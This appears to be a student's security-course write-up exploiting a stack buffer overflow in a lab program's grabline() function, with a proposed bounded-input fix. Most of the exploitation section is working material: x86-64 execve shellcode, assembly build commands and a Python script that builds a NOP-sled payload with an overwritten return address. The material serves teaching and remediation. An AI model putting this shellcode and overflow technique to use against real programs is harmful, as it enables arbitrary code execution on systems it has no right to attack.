CS 491 Assignment 2

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# Identification

The vulnerability in blame.c is a buffer overflow vulnerability in the grabline() function.

void grabline(char \*s)

{

int c;

while ((c=getchar()) != EOF)

\*s++ = c;

\*s = '\0';

}

The while loop continues until an EOF marker is returned from getchar(). This allows an attacker to inject an arbitrarily long sequence of characters. The length of the scapegoat buffer is 256 bytes, so any input longer than that will begin to overwrite the stack space above. Our exploit takes advantage of this overflow vulnerability to overwrite the return pointer of the main() function and execute a malicious payload that uses an execve() call to run a program on the filesystem located at /tmp/pwn.

# Mitigation

To fix the buffer overflow exploit, limit the length of the input to the length of the buffer.

void grabline(char \*s, size\_t n)

{

int c;

for(size\_t i = 1; (c=getchar()) != EOF && i < n; ++i)

\*s++ = c;

\*s ='\0';

}

# Exploitation

## Program

A proof-of-concept program is written that produces the desired output. The compiled program is saved to /tmp/pwn.

#include <stdio.h>

int main(void) { printf("Now I pwn your computer\n"); }

## Payload

An assembly program is written that executes a program located at /tmp/pwn.

; execve("/tmp/pwn", ["/tmp/pwn"], NULL)

; taken from: http://shell-storm.org/shellcode/files/shellcode-603.php

section .text

global \_start

\_start:

xor rdx, rdx

mov qword rbx, '/tmp/pwn'

push rbx

mov rdi, rsp

push rax

push rdi

mov rsi, rsp

mov al, 0x3b

syscall

## Compile, Link and Dump

The program is compiled and linked. The resulting machine code will become a part of the payload injected into the scapegoat buffer.

$ nasm –f elf64 payload.asm

$ ld payload.o –o payload

$ objdump –d payload

## Input File

A python script is used to generate the input file. Testing with gdb showed that there were 264 bytes between the start of the scapegoat buffer and the return instruction pointer. The memory address to place into the return instruction pointer was discovered by adding a print statement to blame.c that output the address of the scapegoat buffer.

import sys

payload = ""

payload += "\x90" \* 204

payload += "\x48\x31\xd2"

payload += "\x48\xbb\x2f\x74\x6d\x70\x2f"

payload += "\x70\x77\x6e"

payload += "\x53"

payload += "\x48\x89\xe7"

payload += "\x50"

payload += "\x57"

payload += "\x48\x89\xe6"

payload += "\xb0\x3b"

payload += "\x0f\x05"

payload += "\x90" \* 34

print "Payload size (without addr): " + str(len(payload))

payload += "\xf0\xe4\xff\xff\xff\x7f"

with open('in.txt', 'w') as outfile:

    outfile.write(payload)